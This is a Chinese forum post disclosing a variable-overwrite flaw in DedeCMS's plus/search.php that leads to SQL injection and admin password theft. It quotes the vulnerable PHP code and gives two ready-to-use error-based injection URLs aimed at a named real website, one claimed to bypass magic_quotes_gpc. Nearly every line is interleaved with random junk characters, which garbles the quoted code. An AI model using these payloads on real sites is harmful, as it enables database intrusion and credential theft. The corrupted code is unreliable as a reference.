微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.! f# n9 F) F7 F: e$ z, B* i, \9 w
作者: c4rp3nt3r@0x50sec.org7 i8 c% @/ P/ h( L; g
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
! A8 |$ C2 ~5 V: J' Q
n5 _+ V: u; ]( N; q5 p9 g& `: m8 J4 t黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
4 P' X1 D: ?6 }/ d7 w 6 v7 w$ ~0 m2 {7 _ z
============
' Z+ x: s; N& R" z2 b& y
) R; |, V2 h6 ]/ Z) q! a5 ~2 b + ?9 Z9 m& e/ p3 L1 [
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.: ]% I' v* O; ~7 n2 L
# @- W; C9 t. T, t. j lrequire_once(dirname(__FILE__).”/../include/common.inc.php”);
0 ~* T- R M5 D$ F' nrequire_once(DEDEINC.”/arc.searchview.class.php”);4 Y% ~( m h) C& p* M) o& W6 v# U
+ i/ W1 N1 R5 u; Z- U! m: x7 H4 \
$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
. z+ |& Z' `* Q6 b4 M i+ s$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
6 Z6 Z: w' I' e" z: }+ Y0 a$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
1 ?% k. _$ N- Y C$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;
7 `" g% [7 O: l6 k5 W8 U$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
* Z/ ~3 M# I$ _/ f
^; X9 V# G: H( b, C2 [% Rif(!isset($orderby)) $orderby=”;
1 }8 U" a6 E# Q- O* melse $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);( ?: j1 E1 T: d
' u2 r) W9 u2 {8 i8 p
1 C' w x( |1 v8 ?" \' Y% c% B5 B8 Lif(!isset($searchtype)) $searchtype = ‘titlekeyword’;% f5 r; `& O9 |( b$ S. }
else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);
! Q( P/ {6 y- Z' Q( I& K: H# g : m: `4 S2 F& g0 g! R% E" g2 d
if(!isset($keyword)){. [# B" I3 Q5 T# l/ ?9 n
if(!isset($q)) $q = ”;
0 N' l/ ^/ s6 p $keyword=$q;+ D7 r; ?9 K, D6 h7 v- b
}
2 [! P* M- H. k1 [3 r " Q' |5 K9 ?8 r+ P* _ o
$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));
9 N! @2 \' u5 ]5 {' t0 a. c ) ^" H! C( |3 ~3 h# B
//查找栏目信息; v F) F5 T( Q; o' W
if(empty($typeid))
. Y4 Q2 K1 a8 ?- v) a{
, M E9 _8 e$ g7 c $typenameCacheFile = DEDEDATA.’/cache/typename.inc’;4 H% c0 P+ h9 o8 @
if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )! W9 ?. n: q, X5 F% Q
{
3 e/ u p/ ^7 Q' V q $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);
) {4 J1 ~2 ]! R8 `% c( @) R1 T fwrite($fp, “<”.”?php\r\n”);
" f, \8 @* N2 ^: b: I" i! Q $dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
4 I2 S; p$ k q2 c- I1 \. }6 a $dsql->Execute();* T, v* Z- V$ f9 o$ K
while($row = $dsql->GetArray())2 ^2 g+ g- o# F& O$ b
{, t/ l6 J9 H# e, s# X* |" i
fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);) }' K3 r7 n7 [. p4 W
}
' K" f' k5 a) l' d( c' y fwrite($fp, ‘?’.'>’);. ~. P& s9 O' `/ s' @" F+ @
fclose($fp);
. B% k, s u7 U+ ^7 T- e# `. v3 P }! y4 H: u- K0 M6 f
//引入栏目缓存并看关键字是否有相关栏目内容
. V' d- w2 p$ N7 P9 I* { require_once($typenameCacheFile);& k0 F2 [% {1 E
//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个7 y# d3 p, A V6 S* \
//( N8 O# A# P0 ]! R6 Z3 v
if(isset($typeArr) && is_array($typeArr))
* I4 F* `1 F$ j( y( { {
6 m3 K9 c/ j) G/ _- T" T foreach($typeArr as $id=>$typename)
1 a. q& \3 H% D+ X7 P+ G {
6 z, c6 g' p7 k$ J) _ ; c* E: }- d, F8 t
<font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过
. |7 A2 j& _7 [! g* I* \" Z if($keyword != $keywordn)& Y! d# u2 m5 ~5 W7 v+ Z
{
2 t6 A- [1 c. Z $keyword = $keywordn;
1 l* O0 G+ K( o3 f. e3 m <font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设
& f( ^2 ]% N) Y6 J* l: [. S break;. b8 V6 D6 [7 k; [0 B" @
}7 V6 p& A: t# n( R1 W
}
( B3 N+ a: J) D" h }# o% f" W: G- n3 ~, q9 d' Q3 b
}
' l: U. E6 M# ^( @" I6 t然后plus/search.php文件下面定义了一个 Search类的对象 .
2 T& Z' m: K- e9 P% t2 C2 _在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.! k6 D6 s/ b* C A1 g4 d
$this->TypeLink = new TypeLink($typeid);* Y3 i+ Y9 r, N. p% y
. O- G; P6 G* E. B( w- J/ _* u
TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.1 t: V/ n# N M# _1 D& ?3 o
+ X# X1 ~2 A* n2 Rclass TypeLink
/ U9 d2 O, Y' v/ X0 r) H{
. j1 j+ I( i1 d f& r var $typeDir;
/ I/ d9 ]# q/ Z+ a! p' u var $dsql;
) U0 M! ^- s: e1 [ var $TypeID;5 E# H5 r' q+ q2 }2 v
var $baseDir;
5 J0 n1 G0 @7 t var $modDir;& {+ z# X" ~4 w" z0 {9 v( ~3 g
var $indexUrl;
( B7 T; H8 t: t& O! E var $indexName;
* Q0 r4 q: a8 b1 x# v& {( h* m/ B. `0 r var $TypeInfos;
) |- v- w! c0 X" T; q var $SplitSymbol;; }1 W8 S* c! q; L- M! F
var $valuePosition;% w$ m4 R. |# P, _1 s! f: a3 h
var $valuePositionName;
% v* d' }8 h* X% r var $OptionArrayList;//构造函数///////
; \% g9 p# R( K5 C; A0 q* P( C //php5构造函数$ c& M5 q: m, b. T
function __construct($typeid)* @+ e3 B- H6 w( {
{
8 t2 A L2 f5 o: z- V0 B0 D $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];( C. w, i1 }. ^) y
$this->indexName = $GLOBALS['cfg_indexname'];
" ?( d3 R) w/ E $this->baseDir = $GLOBALS['cfg_basedir'];
5 u% U1 w( X9 x2 k9 s% w: W $this->modDir = $GLOBALS['cfg_templets_dir'];* v% K v+ ?2 e
$this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
V# L; F8 E0 e. o $this->dsql = $GLOBALS['dsql'];
! k: u) Z; X* `4 _3 P/ |* n4 x $this->TypeID = $typeid;6 J4 q* O% Y& y1 I, w2 q9 B' L/ w
$this->valuePosition = ”;
, W' F4 b/ T1 N5 f# ~" p% I1 M$ ?! B0 v $this->valuePositionName = ”;1 ]5 b, A9 h" V& X G
$this->typeDir = ”;9 N$ R, n5 [4 ?; { l5 [
$this->OptionArrayList = ”;
- J3 x4 i7 Z! |: m1 I# S
! {# @. ?+ O7 o1 n: N) r8 u //载入类目信息; C- h0 J+ I: j+ k6 ~% E
: K+ t/ _- i# y$ q
<font color=”Red”>$query = “SELECT tp.*,ch.typename as
: N) k) Y1 V* x. Lctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join
9 b6 B. P C+ v$ Q' S`#@__channeltype` ch4 w- }* _# H7 C0 A+ a" f1 g/ N) @+ ]
on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿
8 T8 K7 q# s- u: M Q$ u3 s( Q& @* D: z" n. |# h) d
if($typeid > 0)+ R6 w* m1 ^) s* t' R/ i
{
9 M: M. B' a Z& Q+ ]# I $this->TypeInfos = $this->dsql->GetOne($query);
/ t! {- y% L# |3 ~ y利用代码一 需要 即使magic_quotes_gpc = Off
" k* f% A# `8 _- t+ n# U
0 d* a. j G; C5 d: s: mwww.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title, Y. s# u; j, |, e
; N1 @/ z. e7 P: x$ l这只是其中一个利用代码… Search 类的构造函数再往下
' c/ B/ z6 X( a) y3 d6 ` , { O1 s$ i" T
……省略
s! K* g& b) p9 K$this->TypeID = $typeid;6 N+ `: T. ]% @
……省略! \& b J' }. X
if($this->TypeID==”0″){+ o6 w9 L4 U# K, L; i9 z* a
$this->ChannelTypeid=1;
' Z; ?8 }8 H+ u8 h0 s }else{
0 S# Q' g, I$ h" G $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
8 g* m5 A9 a7 C//现在不鸡肋了吧亲…
: n/ S+ ~, I# z' R5 R $this->ChannelTypeid=$row['channeltype'];' I) d7 z* _0 a! n: d
, p2 }1 G- @9 J8 o: U0 f' E }6 T }( [# l1 H0 j! S3 {9 }* I
利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.# h7 R; w4 y9 X' ~
$ `; Q; L: U" e% r) Q3 q" B
www.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
8 p/ s6 N" [& s6 k k 0 _2 U9 @) P6 c) }0 @3 Z" \
如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站1 K6 G* }% [& ^
|